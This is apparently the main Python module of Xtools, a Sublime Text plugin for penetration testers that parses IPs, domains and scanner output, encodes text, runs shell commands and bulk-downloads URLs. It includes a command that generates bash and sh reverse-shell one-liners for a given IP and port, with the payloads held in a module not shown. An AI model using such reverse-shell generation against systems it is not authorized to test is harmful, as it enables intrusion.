    "content": "# -*- coding=utf-8 -*-\n\nimport sublime_plugin\nfrom sublime import Region\nfrom .utils import *\nimport json,time\nimport base64,hashlib\n\nfrom .lib.format_tools_result import classify_fscan_result\nfrom .lib.format_tools_result import format_dirsx_result\n\n\n\"\"\"\n: Setting working directory\n: HOME = '/Users/xxx/'\n: workdir = '$HOME/.xtools'\n\"\"\"\n# 跨平台支持, 获取 HOME PATH \nHOME = os.path.expanduser(\"~\")\n\n'''\n-> 如果系统的用户名是中文且安装不成功，可以尝试在 xtools.py 文件设置系统的 \"<用户名>\"\n-> 删除 # 注释\nEg: \nHOME = \"C:\\\\Users\\\\\" + u\"中文\"\n'''\n\n#HOME = \"/Users/\" + u\"<用户名>\"    # osx\n#HOME = \"/home/\" + u\"<用户名>\"     # linux\n#HOME = \"C:\\\\Users\\\\\" + u\"<用户名>\"  # windows\n\nworkdir = os.path.join(HOME,'.xtools')\n\n\ntry:\n    if os.path.exists(workdir):\n        print('.xtools directory is exists')\n    else:\n        os.mkdir(workdir)\n        print('Create .xtools directory successfully')\nexcept:\n    sublime.message_dialog('[waring] .xtools directory is created failed')\n\n\n'''\n-> 版本信息\n'''\n\nVERSION = '4.2.3'\n\nABOUT_XTOOLS = '''\nAbout Xtools\n\nXtools 是一款 Sublime Text 插件、同时是一款简单的资产处理、命令行调用工具\n\n__   __ _                 _      \n\\ \\ / /| |               | |     \n \\ V / | |_  ___    ___  | | ___ \n /   \\ | __|/ _ \\  / _ \\ | |/ __|\n/ /^\\ \\| |_| (_) || (_) || |\\__ \\\n\\/   \\/ \\__|\\___/  \\___/ |_||___/\n\n\n参考文档 Github@https://github.com/chasingboy/Xtools\n当前版本 Version@{version}     [{tip}]\n'''\n\n\n# IP And Domain\nclass SelectIpv4LanCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        lan_ips,wan_ips =select_ipv4(self.view)\n        text = '\\n'.join(lan_ips)  \n        new_view(self.view, edit, text)\n\n\nclass SelectIpv4WanCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        lan_ips,wan_ips =select_ipv4(self.view)\n        text = '\\n'.join(wan_ips)\n        new_view(self.view, edit, text)\n\n\nclass SelectIpv4RangeCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        ips = select_ipv4_range(self.view)\n        text = '\\n'.join(ips)\n        new_view(self.view, edit, text)\n\n\nclass SelectIpv4PortCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        ip_ports = select_ipv4_port(self.view)\n        text = '\\n'.join(ip_ports)\n        new_view(self.view, edit, text)\n\n\nclass CountIpv4NumberCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = count_ipv4_number(self.view)\n        new_view(self.view, edit, text)\n\n\nclass ConvertRangeIp2cCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = convert_ipv4_to_C(self.view)\n        new_view(self.view, edit, text)\n\n\nclass ConvertRangeC2ipCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = convert_C_to_ipv4(self.view)\n        new_view(self.view, edit, text)\n\n\nclass ConvertRangeIp2bCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = convert_ipv4_to_B(self.view)\n        new_view(self.view, edit, text)\n\n\nclass SelectDomainRootAllCommand(sublime_plugin.TextCommand):\n    def remove(self,edit):\n        exts = ['.html','.login','.action','.htm','.shtml','.asp','.aspx','.jsp','.jspx']\n        text = get_buffer_text(self.view)\n        _text = text\n        for ext in exts:\n            _text = _text.lower().replace(ext,'#####')\n        update_file(self.view, edit, _text)\n\n        return text\n\n    def run(self, edit, cmd):\n        text = self.remove(edit)\n        domains,rootdomains = select_domain(self.view)\n        update_file(self.view, edit, text)\n\n        text = '\\n'.join(rootdomains) if cmd == 'root' else '\\n'.join(domains)\n        new_view(self.view, edit, text)\n\n\nclass FilterDnsCdnHostCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        ips = text.replace(' ','').split('\\n')\n        \n        text = ''\n        black_text = []\n        for ip in ips:\n            if ip in filter_hosts:\n                black_text.append(ip)\n            else:\n                text += ip + '\\n'\n\n        black_text = '\\n'.join(list(set(black_text)))\n        text = \"{0}\\n\\n# filter host:\\n{1}\".format(text,black_text)\n        update_file(self.view, edit, text)\n\n\nclass FilterDnsCdnDomainCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        buffers = get_buffer_text(self.view)\n        \n        text = buffers\n        black_text = []\n        for line in buffers.split('\\n'):\n            for fd in filter_domains:\n                if fd in line or fd == line:\n                    text = text.replace(line + '\\n', '')\n                    black_text.append(fd)\n\n        black_text = '\\n'.join(list(set(black_text)))\n        text = \"{0}\\n\\n# filter host:\\n{1}\".format(text,black_text)\n        update_file(self.view, edit, text)\n\n\n# URL And Router \nclass SelectUrlsExcludePathCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = select_urls(self.view, False)\n        new_view(self.view, edit, text)\n\n\nclass SelectUrlsIncludePathCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = select_urls(self.view, True)\n        new_view(self.view, edit, text)\n\n\nclass SelectRoutersFromTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        results = select_routers(text)\n        text = filter_routers(results)\n        new_view(self.view, edit, text)\n\n\nclass RecoverJsLinkCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        prefix = get_console_text(self.view).strip('\\n').strip('/') + '/'\n\n        try:\n            text = json.loads(text)\n        except:\n            sublime.message_dialog('[error] Json data has error! Please check...')\n        else:\n            rets = ''\n            for key in text.keys():\n                rets += prefix + key + '.' + text[key] + '.js\\n'\n            panel_print(self.view, edit, rets)\n\n\n# Text Edit\nclass RemoveSpecialCharsCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        text = re.sub(r\"(\\ |,|\\.|\\?|<|>|:|;|\\\"|'|{|}|\\[|\\]|\\\\|~|!|@|#|$|%|^|&|\\*|\\(|\\)|\\+|-|=|)\",'',text)        \n        update_file(self.view, edit, text)\n\n\nclass RemoveSpecificStringCommand(sublime_plugin.TextCommand):\n    def run(self, edit, str):\n        text = get_buffer_text(self.view)\n        if str == '[*]':\n            text = re.sub(r\"\\[.*?\\]\",'',text)\n        if str == '(*)':\n            text = re.sub(r\"\\(.*?\\)\",'',text)\n        if str == 'space':\n            text = text.replace(' ','')\n        update_file(self.view, edit, text)\n\n\nclass DeleteLinesCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        buffers = get_buffer_text(self.view)\n        delstr = get_console_text(self.view).strip('\\n').split('\\n')\n        if len(delstr) == 0:\n            sublime.message_dialog('[error] Please select input text and input finding strings')\n            return\n\n        text = ''\n        for line in buffers.split('\\n'):\n            flag = False\n            for ds in delstr:\n                if ds in line or ds == line:\n                    flag = True\n                    break\n            if flag == False:\n                text += line + '\\n'\n        \n        update_file(self.view, edit, text)\n\n\nclass SelectLinesCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        buffers = get_buffer_text(self.view)\n        findstr = get_console_text(self.view).strip('\\n').split('\\n')\n        if len(findstr) == 0:\n            sublime.message_dialog('[error] Please select input text and input finding strings')\n            return\n\n        text = ''\n        for line in buffers.split('\\n'):\n            for fs in findstr:\n                if fs in line or fs == line:\n                    text += line.strip() + '\\n'\n        \n        new_view(self.view, edit, text)\n\n\nclass AddPrefixSuffixCommand(sublime_plugin.TextCommand):\n    def run(self, edit, cmd):\n        text = get_buffer_text(self.view)\n        chars = get_console_text(self.view)\n        text = add_prefix_suffix(text,chars,cmd)\n        \n        if text is not None:\n            update_file(self.view, edit, text)\n\n\nclass ReplaceKeyToValueCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        mapstr = get_console_text(self.view).strip('\\n').replace(' => ','=>').split('\\n')\n        if len(mapstr) == 0:\n            sublime.message_dialog('[error] Please select input text and input mapping strings(eg: a=>b)')\n            return\n\n        for line in mapstr:\n            if '=>' in line:\n                key, value = line.split('=>')\n                if key == '': continue\n                text = text.replace(key,value)\n        \n        new_view(self.view, edit, text)\n\n\nclass ReplaceValueToKeyCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        mapstr = get_console_text(self.view).strip('\\n').replace(' => ','=>').split('\\n')\n        if len(mapstr) == 0:\n            sublime.message_dialog('[error] Please select input text and input mapping strings(eg: a=>b)')\n            return\n\n        for line in mapstr:\n            if '=>' in line:\n                key,values = line.split('=>')\n                values = values.split(',')\n                \n                for value in values:\n                    if value == '': continue\n                    text = text.replace(value,key)\n        \n        new_view(self.view, edit, text)\n\n\nclass SortAndUniqueTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        text = list(set(text.split('\\n')))\n        text = '\\n'.join(sorted(text))\n        update_file(self.view, edit, text)\n\n\n# Text encode\nclass Base64EncodeTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        text = base64.b64encode(text.encode())        \n        panel_print(self.view, edit, text.decode())\n\n\nclass Base64DecodeTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view)\n        text = base64.b64decode(text.encode())\n        panel_print(self.view, edit, text.decode())\n\n\nclass Base64EncodeLineCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        texts = get_buffer_text(self.view).strip('\\n').split('\\n')       \n        lines = ''\n        for line in texts:\n            line = base64.b64encode(line.encode())\n            lines += line.decode() + '\\n'\n        panel_print(self.view, edit, lines)\n\n\nclass Base64DecodeLineCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        texts = get_buffer_text(self.view).strip('\\n').split('\\n')       \n        lines = ''\n        for line in texts:\n            line = base64.b64decode(line.encode())\n            lines += line.decode() + '\\n'\n        panel_print(self.view, edit, lines)\n\n\nclass UrlEncodeDecodeTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit, cmd):\n        text = get_buffer_text(self.view).replace('\\r\\n','\\n').replace('\\r','\\n')\n        if cmd == 'encode':\n            text = quote(text)\n        if cmd == 'decode':\n            text = unquote(text)\n        panel_print(self.view, edit, text.replace('%0A','\\n'))\n\n\nclass Md5EncryptTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view).strip('\\n')   \n        text = hashlib.md5(text.encode()).hexdigest()\n        panel_print(self.view, edit, text)\n\n\nclass Md5EncryptLineCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        texts = get_buffer_text(self.view).strip('\\n').split('\\n')       \n        lines = ''\n        for line in texts:\n            lines += hashlib.md5(line.encode()).hexdigest() + '\\n'\n        panel_print(self.view, edit, lines)\n\n\n# Command\nclass RunCmdCommand(sublime_plugin.TextCommand):\n    def run(self, edit, cmd):\n        text = get_buffer_text(self.view)\n        global workdir\n        file = write_file(workdir,text)\n        cmd = cmd.replace('target.txt',file)\n        exec_command(cmd)\n\n\nclass CurlDownloadFileCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        text = get_buffer_text(self.view).strip('\\n')\n        global workdir\n        file = write_file(workdir,text)\n        ticks = str(int(time.time()))\n\n        workdir = os.path.join(HOME,'Desktop','work')\n        dwdir = os.path.join(workdir,ticks)\n        \n        if os.path.exists(workdir) == False:\n            os.mkdir(workdir)\n            os.mkdir(dwdir)\n        else:\n            os.mkdir(dwdir)\n\n        errurls = is_url(text.split('\\n'))\n        if len(errurls) > 0:\n            sublime.message_dialog('[error] Urls are invaild! Please check...')\n            panel_print(self.view, edit, '[-] The invaild urls:\\n' + errurls)\n            return\n\n        if os.path.exists(workdir):\n            if platform == 'windows':\n                cmd = '\"cd {dir} && FOR /f %f IN ({file}) DO curl -k -O %f\"'.format(dir=dwdir,file=file)\n            else:\n                cmd = 'cd {dir};for line in $(cat {file});do curl -k -O ${line};done;'.format(dir=dwdir,file=file,line='{line}')\n            exec_command(cmd)\n        else:\n            panel_print(self.view, edit, '[!] $HOME/Desktop/work folder not exists!')\n\n\n# Format tools result\nclass FormatToolsResultCommand(sublime_plugin.TextCommand):\n    def run(self, edit, tool, mode):\n        text = get_buffer_text(self.view)\n        \n        if tool == 'fscan':\n            results = classify_fscan_result(text)\n            for key in results.keys():\n                syntax = SYNTAX_FILE if key in ['web-info.txt','weak-password.txt'] else ''\n                new_view(self.view, edit, results.get(key), syntax=syntax, filename=key)\n            \n            return None\n\n        if tool == 'nmap':\n            try:\n                text = format_nmap_open_port(text, mode)\n            except:\n                text = select_nmap_ports_from_xml(text, mode)\n\n            new_view(self.view, edit, text)\n\n        if tool == 'dirsx':\n            text = format_dirsx_result(text)\n            new_view(self.view, edit, text, SYNTAX_FILE)\n\n\n# highlight httpx nulcie result \nclass HighlightHttpxNucleiCommand(sublime_plugin.TextCommand):\n    def run(self, edit, tool):\n        text = get_buffer_text(self.view)\n\n        if tool == 'httpx':\n            text = format_httpx_result(text)\n        if tool == 'nuclei':\n            text = format_nuclei_result(text)\n        if tool == 'text':\n            self.view.assign_syntax(SYNTAX_FILE)\n            return None\n\n        if text == '':\n            return None\n\n        update_file(self.view, edit, text)\n        self.view.assign_syntax(SYNTAX_FILE) \n\n\n\n# Pentest help module\nclass PentestHelpModuleCommand(sublime_plugin.TextCommand):\n    def run(self, edit, tool):\n        if tool == 'upload':\n            global file_upload_package\n            text = file_upload_package\n\n        new_view(self.view, edit, text, 'Markdown.sublime-syntax')\n\n\n# Reserve shell tool \nclass ReverseShellToolsCommand(sublime_plugin.TextCommand):\n    def run(self, edit, shell):\n        ip_port = get_buffer_text(self.view)\n        if shell == 'bash':\n            text = reverse_shell_tools('bash',ip_port)\n        if shell == 'sh':\n            text = reverse_shell_tools('sh',ip_port)\n        if shell == 'other':\n            text =   reverse_shell_tools('other',ip_port)\n\n        if len(text) > 0:\n            new_view(self.view, edit, text, 'Bash.sublime-syntax')\n\n\n# Input text\nclass InputTextCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        panel_print(self.view, edit, 'Input Text:\\n')\n\n\n# Setting config\nclass SettingXtoolsConfigCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        config_file = os.path.join(XTOOLS_ROOT,\"Context.sublime-menu\")\n        self.view.window().open_file(config_file)\n\n\n# Xtools Theme\nclass SettingXtoolsTheme(sublime_plugin.TextCommand):\n    def run(self, edit, theme):\n        theme, color = theme.split(\"-\")\n        theme = \"{t}.sublime-theme\".format(t=theme)\n        color = \"{c}.sublime-color-scheme\".format(c=color)\n        \n        sublime.load_settings('Preferences.sublime-settings').set('theme', theme)\n        sublime.load_settings('Preferences.sublime-settings').set('color_scheme', color)\n        sublime.save_settings('Preferences.sublime-settings')\n \n\n# Change Language\nclass SwitchLanguageCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        current_menu = os.path.join(XTOOLS_ROOT, \"Context.sublime-menu\")\n        backup_menu  = os.path.join(XTOOLS_ROOT, \"Context.sublime-menu.bak\")\n        tmp_menu     = os.path.join(XTOOLS_ROOT, \"Context.sublime-menu.tmp\")\n        \n        os.rename(current_menu, tmp_menu)\n        os.rename(backup_menu, current_menu)\n        os.rename(tmp_menu, backup_menu)\n\n\n# Notebook\nclass XtoolsNoteBookCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        notebook = os.path.join(XTOOLS_ROOT,\"Notebook.md\")\n        self.view.window().open_file(notebook)\n\n\n# About Xtools\nclass AboutXtoolsCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        tip = check_version(VERSION)\n        sublime.message_dialog(ABOUT_XTOOLS.format(version=VERSION,tip=tip))\n\n\n# Function lib\n\ndef get_buffer_text(view):\n    text = view.substr(Region(0, view.size()))\n    return text.strip() \n\n\ndef region_to_text(view,regions):\n    text = []\n    for region in regions:\n        text.append(view.substr(region))\n\n    text = sorted(list(set(text)))\n    return '\\n'.join(text)\n\n\ndef get_console_text(view):\n    panel = view.window().find_output_panel('exec')\n    text = panel.substr(Region(0, panel.size()))\n    text = text.replace('Input Text:\\n','')\n    return text\n\n\ndef panel_print(view, edit, text):\n    view.window().destroy_output_panel('exec')\n    panel = view.window().create_output_panel('exec')\n    view.window().run_command('show_panel', {'panel': 'output.exec'})\n    panel.run_command('insert', {'characters': text})\n\n\ndef new_view(view, edit, text, syntax='', filename=''):\n    new_view = view.window().new_file(syntax=syntax)\n    new_view.set_scratch(True)\n    new_view.set_name(filename)\n    # 旧版本 Sublime Text\n    # new_view.insert(edit, 0, text.strip())\n    # 新版本 Sublime Text\n    new_view.run_command('insert', {'characters': text.strip()})\n    view.window().focus_view(new_view)\n\n\ndef update_file(view, edit, text):\n    view.replace(edit, sublime.Region(0, view.size()), text.strip())\n"
  }
]